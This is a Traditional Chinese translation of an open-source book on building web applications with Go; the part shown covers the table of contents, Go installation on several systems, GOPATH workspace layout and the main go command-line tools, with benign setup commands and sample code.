

---

# 目錄

Introduction	1.1
Go 環境配置	1.2
Go 安裝	1.2.1
GOPATH 與工作空間	1.2.2
Go 命令	1.2.3
Go 開發工具	1.2.4
小結	1.2.5
Go 語言基礎	1.3
你好，Go	1.3.1
Go 基礎	1.3.2
流程和函式	1.3.3
struct	1.3.4
物件導向	1.3.5
interface	1.3.6
併發	1.3.7
小結	1.3.8
Web 基礎	1.4
web 工作方式	1.4.1
Go 建立一個簡單的 web 服務	1.4.2
Go 如何使得 web 工作	1.4.3
Go 的 http 套件詳解	1.4.4
小結	1.4.5
表單	1.5
處理表單的輸入	1.5.1
驗證表單的輸入	1.5.2
預防跨站指令碼	1.5.3
防止多次遞交表單	1.5.4

---

處理檔案上傳	1.5.5
小結	1.5.6
訪問資料庫	1.6
database/sql 介面	1.6.1
使用 MySQL 資料庫	1.6.2
使用 SQLite 資料庫	1.6.3
使用 PostgreSQL 資料庫	1.6.4
使用 beedb 函式庫進行 ORM 開發	1.6.5
NOSQL 資料庫操作	1.6.6
小結	1.6.7
session 和資料儲存	1.7
session 和 cookie	1.7.1
Go 如何使用 session	1.7.2
session 儲存	1.7.3
預防 session 劫持	1.7.4
小結	1.7.5
文字檔案處理	1.8
XML 處理	1.8.1
JSON 處理	1.8.2
正則處理	1.8.3
範本處理	1.8.4
檔案操作	1.8.5
字串處理	1.8.6
小結	1.8.7
Web 服務	1.9
Socket 程式設計	1.9.1
WebSocket	1.9.2
REST	1.9.3
RPC	1.9.4
小結	1.9.5

---

---

安全與加密	1.10
預防 CSRF 攻擊	1.10.1
確保輸入過濾	1.10.2
避免 XSS 攻擊	1.10.3
避免 SQL 注入	1.10.4
儲存密碼	1.10.5
加密和解密資料	1.10.6
小結	1.10.7
國際化和本地化	1.11
設定預設地區	1.11.1
本地化資源	1.11.2
國際化站點	1.11.3
小結	1.11.4
錯誤處理，除錯和測試	1.12
錯誤處理	1.12.1
使用 GDB 除錯	1.12.2
Go 怎麼寫測試案例	1.12.3
小結	1.12.4
部署與維護	1.13
應用日誌	1.13.1
網站錯誤處理	1.13.2
應用部署	1.13.3
備份和恢復	1.13.4
小結	1.13.5
如何設計一個 Web 框架	1.14
專案規劃	1.14.1
自訂路由器設計	1.14.2
controller 設計	1.14.3
日誌和配置設計	1.14.4
實現部落格的增刪改	1.14.5

---

---

小結	1.14.6
擴充套件 Web 框架	1.15
靜態檔案支援	1.15.1
Session 支援	1.15.2
表單支援	1.15.3
使用者認證	1.15.4
多語言支援	1.15.5
pprof 支援	1.15.6
小結	1.15.7
參考資料	1.16

---

# 使用 **Golang** 打造 **Web** 應用程式

這本書是專為 Golang 新手開發者所寫，原始內容皆來自 [Build Web Application with Golang](#) 專案，感謝所有貢獻者的付出與努力，希望大家會喜歡。

## Purpose

Because I'm interested in web application development, I used my free time to write this book as an open source version. It doesn't mean that I have a very good ability to build web applications; I would like to share what I've done with Go in building web applications.

- For those of you who are working with PHP/Python/Ruby, you will learn how to build a web application with Go.
- For those of you who are working with C/C++, you will know how the web works.

I believe the purpose of studying is sharing with others. The happiest thing in my life is sharing everything I've known with more people.

## Acknowledgments

- 四月份平民 [April Citizen](#) (review code)
- 洪瑞琦 [Hong Ruiqi](#) (review code)
- 边疆 [BianJiang](#) (write the configurations about Vim and Emacs for Go development)
- 欧林猫 [Oling Cat](#) (review code)
- 吴文磊 [Wenlei Wu](#) (provide some pictures)
- 北极星 [Polaris](#) (review whole book)
- 雨痕 [Rain Trail](#) (review chapter 2 and 3)

## License

This book is licensed under the [CC BY-SA 3.0 License](#), the code is licensed under a [BSD 3-Clause License](#), unless otherwise specified.

## 正體中文翻譯

- **Will** 保哥
  - [Blog \(The Will Will Web\)](#)
  - [Twitter \(Will Huang\)](#)
  - [Facebook \(Will 保哥的技術交流中心\)](#)

# 1 GO 環境配置

歡迎來到 Go 的世界，讓我們開始探索吧！

Go 是一種新的語言，一種併發的、帶垃圾回收的、快速編譯的語言。它具有以下特點：

- 它可以在一臺計算機上用幾秒鐘的時間編譯一個大型的 Go 程式。
- Go 為軟體構造提供了一種模型，它使依賴分析更加容易，且避免了大部分 C 風格 include 檔案與函式庫的開頭。
- Go 是靜態型別的語言，它的型別系統沒有層級。因此使用者不需要在定義型別之間的關係上花費時間，這樣感覺起來比典型的面嚮物件語言更輕量級。
- Go 完全是垃圾回收型的語言，併為併發執行與通訊提供了基本的支援。
- 按照其設計，Go 打算為多核機器上系統軟體的構造提供一種方法。

Go 是一種編譯型語言，它結合瞭解釋型語言的遊刃有餘，動態型別語言的開發效率，以及靜態型別的安全性。它也打算成為現代的，支援網路與多核計算的語言。要滿足這些目標，需要解決一些語言上的問題：一個富有表達能力但輕量級的型別系統，併發與垃圾回收機制，嚴格的依賴規範等等。這些無法透過函式庫或工具解決好，因此 Go 也就應運而生了。

在本章中，我們將講述 Go 的安裝方法，以及如何配置專案資訊。

## 目錄



## links

- [目錄](#)
- 下一節: [安裝 Go](#)

## 1.1 安裝 Go

### Go 的三種安裝方式

Go 有多種安裝方式，你可以選擇自己喜歡的。這裡我們介紹三種最常見的安裝方式：

- **Go 原始碼安裝**：這是一種標準的軟體安裝方式。對於經常使用 Unix 類別系統的使用者，尤其對於開發者來說，從原始碼安裝可以自己訂製。
- **Go 標準套件安裝**：Go 提供了方便的安裝套件，支援 Windows、Linux、Mac 等系統。這種方式適合快速安裝，可根據自己的系統位數下載好相應的安裝套件，一路 next 就可以輕鬆安裝了。推薦這種方式
- **第三方工具安裝**：目前有很多方便的第三方軟體套件工具，例如 Ubuntu 的 apt-get 和 wget、Mac 的 homebrew 等。這種安裝方式適合那些熟悉相應系統的使用者。

最後，如果你想在同一個系統中安裝多個版本的 Go，你可以參考第三方工具 [GVM](#)，這是目前在這方面做得最好的工具，除非你知道怎麼處理。

### Go 原始碼安裝

Go 1.5 徹底移除 C 程式碼，Runtime、Compiler、Linker 均由 Go 編寫，實現自舉。只需要安裝了上一個版本，即可從原始碼安裝。

在 Go 1.5 前，Go 的原始碼中，有些部分是用 Plan 9 C 和 AT&T 彙編寫的，因此假如你要想從原始碼安裝，就必須安裝 C 的編譯工具。

在 Mac 系統中，只要你安裝了 Xcode，就已經包含了相應的編譯工具。

在類別 Unix 系統中，需要安裝 gcc 等工具。例如 Ubuntu 系統可透過在終端中執行 `sudo apt-get install gcc libc6-dev` 來安裝編譯工具。

在 Windows 系統中，你需要安裝 MinGW，然後透過 MinGW 安裝 gcc，並設定相應的環境變數。

你可以直接去官網 [下載原始碼](#)，找相應的 `goVERSION.src.tar.gz` 的檔案下載，下載之後解壓縮到 `$HOME` 目錄，執行如下程式碼：



```
cd go/src
./all.bash
```

執行 `all.bash` 後出現"ALL TESTS PASSED"字樣時才算安裝成功。

上面是 Unix 風格的命令，Windows 下的安裝方式類似，只不過是執行 `all.bat`，呼叫的編譯器是 MinGW 的 `gcc`。

如果是 Mac 或者 Unix 使用者需要設定幾個環境變數，如果想重啓之後也能生效的話把下面的命令寫到 `.bashrc` 或者 `.zshrc` 裡面，

```
export GOPATH=$HOME/gopath
export PATH=$PATH:$HOME/go/bin:$GOPATH/bin
```

如果你是寫入檔案的，記得執行 `bash .bashrc` 或者 `bash .zshrc` 使得設定立馬生效。

如果是 window 系統，就需要設定環境變數，在 `path` 裡面增加相應的 `go` 所在的目錄，設定 `gopath` 變數。

當你設定完畢之後在命令列裡面輸入 `go`，看到如下圖片即說明你已經安裝成功



圖 1.1 原始碼安裝之後執行 Go 命令的圖

如果出現 Go 的 Usage 資訊，那麼說明 Go 已經安裝成功了；如果出現該命令不存在，那麼可以檢查一下自己的 `PATH` 環境變中是否包含了 Go 的安裝目錄。

從 go 1.8 開始，`GOPATH` 環境變數現在有一個預設值，如果它沒有被設定。它在 Unix 上預設為 `$HOME/go`，在 Windows 上預設為 `%USERPROFILE%/go`。

關於上面的 `GOPATH` 將在下面小節詳細講解

## Go 標準套件安裝

Go 提供了每個平臺一鍵安裝的選項，這些套件預設會安裝到如下目

錄：`/usr/local/go` (Windows 系統：`c:\Go`)，當然你可以改變他們的安裝位置，但是改變之後你必須在你的環境變數中設定如下資訊：

```
export GOROOT=$HOME/go
export GOPATH=$HOME/gopath
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
```

上面這些命令對於 Mac 和 Unix 使用者來說最好是寫入 `.bashrc` 或者 `.zshrc` 檔案，對於 windows 使用者來說當然是寫入環境變數。

## 如何判斷自己的作業系統是 32 位還是 64 位？

我們接下來的 Go 安裝需要判斷作業系統的位數，所以這小節我們先確定自己的系統型別。

Windows 系統使用者請按 Win+R 執行 cmd，輸入 `systeminfo` 後 Enter，稍等片刻，會出現一些系統資訊。在“系統型別”一行中，若顯示“x64-based PC”，即為 64 位系統；若顯示“X86-based PC”，則為 32 位系統。

Mac 系統使用者建議直接使用 64 位的，因為 Go 所支援的 Mac OS X 版本已經不支援純 32 位處理器了。

Linux 系統使用者可透過在 Terminal 中執行命令 `arch` (即 `uname -m`) 來檢視系統資訊：

### 64 位系統顯示

```
x86_64
```

### 32 位系統顯示

```
i386
```

## Mac 安裝

訪問 [下載地址](#)，32 位系統下載 `go1.4.2.darwin-386-osx10.8.pkg`(更新的版本已無 32 位下載)，64 位系統下載 `go1.8.3.darwin-amd64.pkg`，雙擊下載檔案，一路預設安裝點選下一步，這個時候 go 已經安裝到你的系統中，預設已經在 PATH 中增加了相應的 `~/go/bin`，這個時候開啓終端，輸入 `go`

看到類似上面原始碼安裝成功的圖片說明已經安裝成功

如果出現 go 的 Usage 資訊，那麼說明 go 已經安裝成功了；如果出現該命令不存在，那麼可以檢查一下自己的 PATH 環境變中是否包含了 go 的安裝目錄。

## Linux 安裝

訪問 [下載地址](#)，32 位系統下載 go1.8.3.linux-386.tar.gz，64 位系統下載 go1.8.3.linux-amd64.tar.gz，

假定你想要安裝 Go 的目錄為 `$GO_INSTALL_DIR`，後面替換為相應的目錄路徑。

解壓縮 tar.gz 到安裝目錄下：`tar zxvf go1.8.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR`。

設定 PATH，`export PATH=$PATH:$GO_INSTALL_DIR/go/bin`

然後執行 go



圖 1.2 Linux 系統下安裝成功之後執行 go 顯示的資訊

如果出現 go 的 Usage 資訊，那麼說明 go 已經安裝成功了；如果出現該命令不存在，那麼可以檢查一下自己的 PATH 環境變中是否包含了 go 的安裝目錄。

## Windows 安裝

訪問 [Golang 下載頁](#)，32 位請選擇名稱中包含 windows-386 的 msi 安裝套件，64 位請選擇名稱中包含 windows-amd64 的。下載好後執行，不要修改預設安裝目錄 C:\Go\，若安裝到其他位置會導致不能執行自己所編寫的 Go 程式碼。安裝完成後預設會在環境變數 Path 後新增 Go 安裝目錄下的 bin 目錄 `C:\Go\bin\`，並新增環境變數 GOROOT，值為 Go 安裝根目錄 `C:\Go\`。

驗證是否安裝成功

在執行中輸入 `cmd` 開啓命令列工具，在提示符下輸入 `go`，檢查是否能看到 Usage 資訊。輸入 `cd %GOROOT%`，看是否能進入 Go 安裝目錄。若都成功，說明安裝成功。

不能的話請檢查上述環境變數 `Path` 和 `GOROOT` 的值。若不存在請解除安裝後重新安裝，存在請重啓計算機後重試以上步驟。

## 第三方工具安裝

### GVM

`gvm` 是第三方開發的 Go 多版本管理工具，類似 `ruby` 裡面的 `rvm` 工具。使用起來相當的方便，安裝 `gvm` 使用如下命令：

```
bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
```

安裝完成後我們就可以安裝 `go` 了：

```
gvm install go1.8.3
gvm use go1.8.3
```

也可以使用下面的命令，省去每次呼叫 `gvm use` 的麻煩：`gvm use go1.8.3 --default`

執行完上面的命令之後 `GOPATH`、`GOROOT` 等環境變數會自動設定好，這樣就可以直接使用了。

### apt-get

Ubuntu 是目前使用最多的 Linux 桌面系統，使用 `apt-get` 命令來管理軟體套件，我們可以透過下面的命令來安裝 Go，爲了以後方便，應該把 `git` `mercurial` 也安裝上：

```
sudo apt-get install python-software-properties
sudo add-apt-repository ppa:gophers/go
sudo apt-get update
sudo apt-get install golang-stable git-core mercurial
```

## wget

```
wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
sudo tar -xzf go1.8.3.linux-amd64.tar.gz -C /usr/local
```

配置環境變數:

```
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath (可選設定)
```

或者使用:

```
sudo vim /etc/profile
```

並新增下面的內容：

```
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath (可選設定)
```

重新載入 profile 檔案

```
source /etc/profile
```

## homebrew

homebrew 是 Mac 系統下面目前使用最多的管理軟體的工具，目前已支援 Go，可以透過命令直接安裝 Go，爲了以後方便，應該把 `git` `mercurial` 也安裝上：

### 1. 安裝 homebrew

```
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
```

### 2. 安裝 go

```
brew update && brew upgrade  
brew install go  
brew install git  
brew install mercurial //可選安裝
```

## links

- [目錄](#)
- 上一節: [Go 環境配置](#)
- 下一節: [GOPATH 與工作空間](#)

## 1.2 GOPATH 與工作空間

前面我們在安裝 Go 的時候看到需要設定 GOPATH 變數，Go 從 1.1 版本到 1.7 必須設定這個變數，而且不能和 Go 的安裝目錄一樣，這個目錄用來存放 Go 原始碼，Go 的可執行檔案，以及相應的編譯之後的套件檔案。所以這個目錄下面有三個子目錄：src、bin、pkg

從 go 1.8 開始，GOPATH 環境變數現在有一個預設值，如果它沒有被設定。它在 Unix 上預設為 \$HOME/go，在 Windows 上預設為 %USERPROFILE%/go。

### GOPATH 設定

go 命令依賴一個重要的環境變數：\$GOPATH

Windows 系統中環境變數的形式為 %GOPATH%，本書主要使用 Unix 形式，Windows 使用者請自行替換。

（注：這個不是 Go 安裝目錄。下面以筆者的工作目錄為範例，如果你想不一樣請把 GOPATH 替換成你的工作目錄。）

在類別 Unix 環境下大概這樣設定：

```
export GOPATH=/home/apple/mygo
```

爲了方便，應該新建以上資料夾，並且上一行加入到 .bashrc 或者 .zshrc 或者自己的 sh 的配置檔案中。

Windows 設定如下，新建一個環境變數名稱叫做 GOPATH：

```
GOPATH=c:\mygo
```

GOPATH 允許多個目錄，當有多個目錄時，請注意分隔符，多個目錄的時候 Windows 是分號，Linux 系統是冒號，當有多個 GOPATH 時，預設會將 go get 的內容放在第一個目錄下。

以上 \$GOPATH 目錄約定有三個子目錄：

- `src` 存放原始碼（比如：`.go .c .h .s` 等）
- `pkg` 編譯後生成的檔案（比如：`.a`）
- `bin` 編譯後生成的可執行檔案（爲了方便，可以把此目錄加入到 `$PATH` 變數中，如果有多個 `gopath`，那麼使用 `${GOPATH}:/bin:/bin` 新增所有的 `bin` 目錄）

以後我所有的例子都是以 `mygo` 作爲我的 `gopath` 目錄

## 程式碼目錄結構規劃

`GOPATH` 下的 `src` 目錄就是接下來開發程式的主要目錄，所有的原始碼都是放在這個目錄下面，那麼一般我們的做法就是一個目錄一個專案，例如：

`$GOPATH/src/mymath` 表示 `mymath` 這個套件或者可執行應用，這個根據 `package` 是 `main` 還是其他來決定，`main` 的話就是可執行應用，其他的話就是套件，這個會在後續詳細介紹 `package`。

所以當新建應用或者一個程式碼套件時都是在 `src` 目錄下新建一個資料夾，資料夾名稱一般是程式碼套件名稱，當然也允許多級目錄，例如在 `src` 下面新建了目錄 `$GOPATH/src/github.com/astaxie/beedb` 那麼這個套件路徑就是 `"github.com/astaxie/beedb"`，套件名稱是最後一個目錄 `beedb`

下面我就以 `mymath` 爲例來講述如何編寫套件，執行如下程式碼

```
cd $GOPATH/src
mkdir mymath
```

新建檔案 `sqrt.go`，內容如下



```
// $GOPATH/src/mymath/sqrt.go 原始碼如下：  
package mymath  
  
func Sqrt(x float64) float64 {  
    z := 0.0  
    for i := 0; i < 1000; i++ {  
        z -= (z*z - x) / (2 * x)  
    }  
    return z  
}
```

這樣我的套件目錄和程式碼已經新建完畢，注意：一般建議 `package` 的名稱和目錄名保持一致

## 編譯應用

上面我們已經建立了自己的套件，如何進行編譯安裝呢？有兩種方式可以進行安裝

1、只要進入對應的套件目錄，然後執行 `go install`，就可以安裝了

2、在任意的目錄執行如下程式碼 `go install mymath`

安裝完之後，我們可以進入如下目錄

```
cd $GOPATH/pkg/${GOOS}_${GOARCH}  
//可以看到如下檔案  
mymath.a
```

這個 `.a` 檔案是套件，那麼我們如何進行呼叫呢？

接下來我們新建一個應用程式來呼叫這個套件

新建套件 `mathapp`

```
cd $GOPATH/src  
mkdir mathapp  
cd mathapp  
vim main.go
```

`$GOPATH/src/mathapp/main.go` 原始碼：

```
package main

import (
    "mymath"
    "fmt"
)

func main() {
    fmt.Printf("Hello, world.  Sqrt(2) = %v\n", mymath.Sqrt(2))
}
```

可以看到這個的 `package` 是 `main`，`import` 裡面呼叫的套件是 `mymath`，這個就是相對於 `$GOPATH/src` 的路徑，如果是多級目錄，就在 `import` 裡面引入多級目錄，如果你有多個 `GOPATH`，也是一樣，Go 會自動在多個 `$GOPATH/src` 中尋找。

如何編譯程式呢？進入該應用目錄，然後執行 `go build`，那麼在該目錄下面會產生一個 `mathapp` 的可執行檔案

```
./mathapp
```

輸出如下內容

```
Hello, world.  Sqrt(2) = 1.414213562373095
```

如何安裝該應用，進入該目錄執行 `go install`，那麼在 `$GOPATH/bin/` 下增加了一個可執行檔案 `mathapp`，還記得前面我們把 `$GOPATH/bin` 加到我們的 `PATH` 裡面了，這樣可以在命令列輸入如下命令就可以執行

```
mathapp
```

也是輸出如下內容

```
Hello, world.  Sqrt(2) = 1.414213562373095
```

這裡我們展示如何編譯和安裝一個可執行的應用，以及如何設計我們的目錄結構。

## 取得遠端套件

go 語言有一個取得遠端套件的工具就是 `go get`，目前 `go get` 支援多數開源社群 (例如：github、googlecode、bitbucket、Launchpad)

```
go get github.com/astaxie/beedb
```

`go get -u` 引數可以自動更新套件，而且當 `go get` 的時候會自動取得該套件依賴的其他第三方套件

透過這個命令可以取得相應的原始碼，對應的開源平臺採用不同的原始碼控制工具，例如 github 採用 git、googlecode 採用 hg，所以要想取得這些原始碼，必須先安裝相應的原始碼控制工具

透過上面取得的程式碼在我們本地的原始碼相應的程式碼結構如下

```
$GOPATH
src
|--github.com
|   |--astaxie
|       |--beedb
pkg
|--相應平臺
|   |--github.com
|       |--astaxie
|           |--beedb.a
```

`go get` 本質上可以理解為首先第一步是透過原始碼工具 clone 程式碼到 `src` 下面，然後執行 `go install`

在程式碼中如何使用遠端套件，很簡單的就是和使用本地套件一樣，只要在開頭 `import` 相應的路徑就可以

```
import "github.com/astaxie/beedb"
```

## 程式的整體結構

透過上面建立的我本地的 mygo 的目錄結構如下所示

```
bin/
  mathapp
pkg/
  平臺名/ 如：darwin_amd64、linux_amd64
    mymath.a
    github.com/
      astaxie/
        beedb.a
src/
  mathapp
    main.go
  mymath/
    sqrt.go
  github.com/
    astaxie/
      beedb/
        beedb.go
        util.go
```

從上面的結構我們可以很清晰的看到，bin 目錄下面存的是編譯之後可執行的檔案，pkg 下面存放的是套件，src 下面儲存的是應用原始碼

## links

- [目錄](#)
- 上一節: [安裝 Go](#)
- 下一節: [GO 命令](#)

## 1.3 Go 命令

### Go 命令

Go 語言自帶有一套完整的命令操作工具，你可以透過在命令列中執行 `go` 來檢視它們：



圖 1.3 Go 命令顯示詳細的資訊

這些命令對於我們平時編寫的程式碼非常有用，接下來就讓我們瞭解一些常用的命令。

### go build

這個命令主要用於編譯程式碼。在套件的編譯過程中，若有必要，會同時編譯與之相關聯的套件。

- 如果是普通套件，就像我們在 1.2 節中編寫的 `mymath` 套件那樣，當你執行 `go build` 之後，它不會產生任何檔案。如果你需要在 `$GOPATH/pkg` 下產生相應的檔案，那就得執行 `go install`。
- 如果是 `main` 套件，當你執行 `go build` 之後，它就會在當前目錄下產生一個可執行檔案。如果你需要在 `$GOPATH/bin` 下產生相應的檔案，需要執行 `go install`，或者使用 `go build -o 路徑/a.exe`。
- 如果某個專案資料夾下有多個檔案，而你只想編譯某個檔案，就可在 `go build` 之後加上檔名，例如 `go build a.go`；`go build` 命令預設會編譯當前目錄下的所有 `go` 檔案。
- 你也可以指定編譯輸出的檔名。例如 1.2 節中的 `mathapp` 應用，我們可以指定 `go build -o astaxie.exe`，預設情況是你的 `package` 名(非 `main` 套件)，或者是第一個原始檔的檔名(`main` 套件)。

(注：實際上，`package` 名在 [Go 語言規範](#) 中指程式碼中“`package`”後使用的名稱，此名稱可以與資料夾名不同。預設產生的可執行檔名是資料夾名。)

- `go build` 會忽略目錄下以“\_”或“.”開頭的 `go` 檔案。
- 如果你的原始碼針對不同的作業系統需要不同的處理，那麼你可以根據不同的作業系統字尾來命名檔案。例如有一個讀取陣列的程式，它對於不同的作業系統可能有如下幾個原始檔：

`array_linux.go` `array_darwin.go` `array_windows.go` `array_freebsd.go`

`go build` 的時候會選擇性地編譯以系統名結尾的檔案（Linux、Darwin、Windows、Freebsd）。例如 Linux 系統下面編譯只會選擇 `array_linux.go` 檔案，其它系統命名字尾檔案全部忽略。

### 引數的介紹

- `-o` 指定輸出的檔名，可以帶上路徑，例如 `go build -o a/b/c`
- `-i` 安裝相應的套件，編譯+ `go install`
- `-a` 更新全部已經是最新的套件的，但是對標準套件不適用
- `-n` 把需要執行的編譯命令打印出來，但是不執行，這樣就可以很容易的知道底層是如何執行的
- `-p n` 指定可以並行可執行的編譯數目，預設是 CPU 數目
- `-race` 開啓編譯的時候自動檢測資料競爭的情況，目前只支援 64 位的機器
- `-v` 打印出來我們正在編譯的套件名
- `-work` 打印出來編譯時候的臨時資料夾名稱，並且如果已經存在的話就不要刪除
- `-x` 打印出來執行的命令，其實就是和 `-n` 的結果類似，只是這個會執行
- `-ccflags 'arg list'` 傳遞引數給 5c, 6c, 8c 呼叫
- `-compiler name` 指定相應的編譯器，`gccgo` 還是 `gc`
- `-gccgoflags 'arg list'` 傳遞引數給 `gccgo` 編譯連線呼叫
- `-gcflags 'arg list'` 傳遞引數給 5g, 6g, 8g 呼叫
- `-installsuffix suffix` 爲了和預設的安裝套件區別開來，採用這個字首來重新安裝那些依賴的套件，`-race` 的時候預設已經是 `-installsuffix race`，大家可以透過 `-n` 命令來驗證
- `-ldflags 'flag list'` 傳遞引數給 5l, 6l, 8l 呼叫
- `-tags 'tag list'` 設定在編譯的時候可以適配的那些 tag，詳細的 tag 限制參考裡面的 [Build Constraints](#)

## go clean

這個命令是用來移除當前原始碼套件和關聯原始碼套件裡面編譯產生的檔案。這些檔案包括

<code>_obj/</code>	舊的 object 目錄，由 Makefiles 遺留
<code>_test/</code>	舊的 test 目錄，由 Makefiles 遺留
<code>_testmain.go</code>	舊的 gotest 檔案，由 Makefiles 遺留
<code>test.out</code>	舊的 test 記錄，由 Makefiles 遺留
<code>build.out</code>	舊的 test 記錄，由 Makefiles 遺留
<code>*.[568ao]</code>	object 檔案，由 Makefiles 遺留
<code>DIR(.exe)</code>	由 go build 產生
<code>DIR.test(.exe)</code>	由 go test -c 產生
<code>MAINFILE(.exe)</code>	由 go build MAINFILE.go 產生
<code>*.so</code>	由 SWIG 產生

我一般都是利用這個命令清除編譯檔案，然後 github 遞交原始碼，在本機測試的時候這些編譯檔案都是和系統相關的，但是對於原始碼管理來說沒必要。

```
$ go clean -i -n
cd /Users/astaxie/develop/gopath/src/mathapp
rm -f mathapp mathapp.exe mathapp.test mathapp.test.exe app app.
exe
rm -f /Users/astaxie/develop/gopath/bin/mathapp
```

### 引數介紹

- `-i` 清除關聯的安裝的套件和可執行檔案，也就是透過 `go install` 安裝的檔案
- `-n` 把需要執行的清除命令打印出來，但是不執行，這樣就可以很容易的知道底層是如何執行的
- `-r` 迴圈的清除在 `import` 中引入的套件
- `-x` 打印出來執行的詳細命令，其實就是 `-n` 列印的執行版本

## go fmt

有過 C/C++ 經驗的讀者會知道，一些人經常為程式碼採取 K&R 風格還是 ANSI 風格而爭論不休。在 go 中，程式碼則有標準的風格。由於之前已經有的一些習慣或其它的原因我們常將程式碼寫成 ANSI 風格或者其它更合適自己的格式，這將為人們在閱讀別人的程式碼時新增不必要的負擔，所以 go 強制了程式碼格式（比如左大括號必須放在行尾），不按照此格式的程式碼將不能編譯透過，為了減少浪費在排版上的時間，go 工具集中提供了一個 `go fmt` 命令 它可以幫你格式化你寫好的程式碼檔案，使你寫程式碼的時候不需要關心格式，你只需要在寫完之後執行 `go fmt <檔名>.go`，你的程式碼就被修改成了標準格式，但是我平常很少用到這個命令，因為開發工具裡面一般都帶了儲存時候自動格式化功能，這個功能其實在底層就是呼叫了 `go fmt`。接下來的一節我將講述兩個工具，這兩個工具都自帶了儲存檔案時自動化 `go fmt` 功能。

使用 `go fmt` 命令，其實是呼叫了 `gofmt`，而且需要引數 `-w`，否則格式化結果不會寫入檔案。`gofmt -w -l src`，可以格式化整個專案。

所以 `go fmt` 是 `gofmt` 的上層一個套件裝的命令，我們想要更多的個性化的格式化可以參考 [gofmt](#)

`gofmt` 的引數介紹

- `-l` 顯示那些需要格式化的檔案
- `-w` 把改寫後的內容直接寫入到檔案中，而不是作為結果列印到標準輸出。
- `-r` 新增形如“`a[b:len(a)] -> a[b:]`”的重寫規則，方便我們做批量替換
- `-s` 簡化檔案中的程式碼
- `-d` 顯示格式化前後 diff 而不是寫入檔案，預設是 `false`
- `-e` 列印所有的語法錯誤到標準輸出。如果不使用此標記，則只會列印不同行的前 10 個錯誤。
- `-cpuprofile` 支援除錯模式，寫入相應的 `cpufile` 到指定的檔案

## go get

這個命令是用來動態取得遠端程式碼套件的，目前支援的有 BitBucket、GitHub、Google Code 和 Launchpad。這個命令在內部實際上分成了兩步操作：第一步是下載原始碼套件，第二步是執行 `go install`。下載原始碼套件的 go 工具會自動根據不同的域名呼叫不同的原始碼工具，對應關係如下：



```
BitBucket (Mercurial Git)
GitHub (Git)
Google Code Project Hosting (Git, Mercurial, Subversion)
Launchpad (Bazaar)
```

所以爲了 `go get` 能正常工作，你必須確保安裝了合適的原始碼管理工具，並同時把這些命令加入你的 `PATH` 中。其實 `go get` 支援自訂域名的功能，具體參見 `go help remote`。

引數介紹：

- `-d` 只下載不安裝
- `-f` 只有在你包含了 `-u` 引數的時候才有效，不讓 `-u` 去驗證 `import` 中的每一個都已經取得了，這對於本地 `fork` 的套件特別有用
- `-fix` 在取得原始碼之後先執行 `fix`，然後再去做其他的事情
- `-t` 同時也下載需要爲執行測試所需要的套件
- `-u` 強制使用網路去更新套件和它的相依套件
- `-v` 顯示執行的命令

## go install

這個命令在內部實際上分成了兩步操作：第一步是產生結果檔案(可執行檔案或者 `.a` 套件)，第二步會把編譯好的結果移到 `$GOPATH/pkg` 或者 `$GOPATH/bin`。

引數支援 `go build` 的編譯引數。大家只要記住一個引數 `-v` 就好了，這個隨時隨地的可以檢視底層的執行資訊。

## go test

執行這個命令，會自動讀取原始碼目錄下面名爲 `*_test.go` 的檔案，產生並執行測試用的可執行檔案。輸出的資訊類似

```
ok    archive/tar    0.011s
FAIL  archive/zip    0.022s
ok    compress/gzip    0.033s
...
```

預設的情況下，不需要任何的引數，它會自動把你原始碼套件下面所有 `test` 檔案測試完畢，當然你也可以帶上引數，詳情請參考 `go help testflag`

這裡我介紹幾個我們常用的引數：

- `-bench regexp` 執行相應的 `benchmarks`，例如 `-bench=.`
- `-cover` 開啓測試覆蓋率
- `-run regexp` 只執行 `regexp` 匹配的函式，例如 `-run=Array` 那麼就執行包含有 `Array` 開頭的函式
- `-v` 顯示測試的詳細命令

## go tool

`go tool` 下面下載聚集了很多命令，這裡我們只介紹兩個，`fix` 和 `vet`

- `go tool fix .` 用來修復以前老版本的程式碼到新版本，例如 `go1` 之前老版本的程式碼轉化到 `go1`，例如 `API` 的變化
- `go tool vet directory|files` 用來分析當前目錄的程式碼是否都是正確的程式碼，例如是不是呼叫 `fmt.Printf` 裡面的引數不正確，例如函式裡面提前 `return` 瞭然後出現了無用程式碼之類別的。

## go generate

這個命令是從 `Go1.4` 開始才設計的，用於在編譯前自動化產生某類別程式碼。`go generate` 和 `go build` 是完全不一樣的命令，透過分析原始碼中特殊的註釋，然後執行相應的命令。這些命令都是很明確的，沒有任何的依賴在裡面。而且大家在用這個之前心裡面一定要有一個理念，這個 `go generate` 是給你用的，不是給使用你這個套件的人用的，是方便你來產生一些程式碼的。

這裡我們來舉一個簡單的例子，例如我們經常會使用 `yacc` 來產生程式碼，那麼我們常用這樣的命令：

```
go tool yacc -o gopher.go -p parser gopher.y
```

-o 指定了輸出的檔名，-p 指定了 package 的名稱，這是一個單獨的命令，如果我們想讓 go generate 來觸發這個命令，那麼就可以在當前目錄的任意一個 xxx.go 檔案裡面的任意位置增加一行如下的註釋：

```
//go:generate go tool yacc -o gopher.go -p parser gopher.y
```

這裡我們注意了，//go:generate 是沒有任何空格的，這其實就是一個固定的格式，在掃描原始碼檔案的時候就是根據這個來判斷的。

所以我們可以透過如下的命令來產生，編譯，測試。如果 gopher.y 檔案有修改，那麼就重新執行 go generate 重新產生檔案就好。

```
$ go generate
$ go build
$ go test
```

## godoc

在 Go1.2 版本之前還支援 go doc 命令，但是之後全部移到了 godoc 這個命令下，需要這樣安裝 go get golang.org/x/tools/cmd/godoc

很多人說 go 不需要任何的第三方文件，例如 chm 手冊之類別的（其實我已經做了一個了，[chm 手冊](#)），因為它內部就有一個很強大的文件工具。

如何檢視相應 package 的文件呢？例如 builtin 套件，那麼執行 godoc builtin 如果是 http 套件，那麼執行 godoc net/http 檢視某一個套件裡面的函式，那麼執行 godoc fmt Printf 也可以檢視相應的程式碼，執行 godoc -src fmt Printf

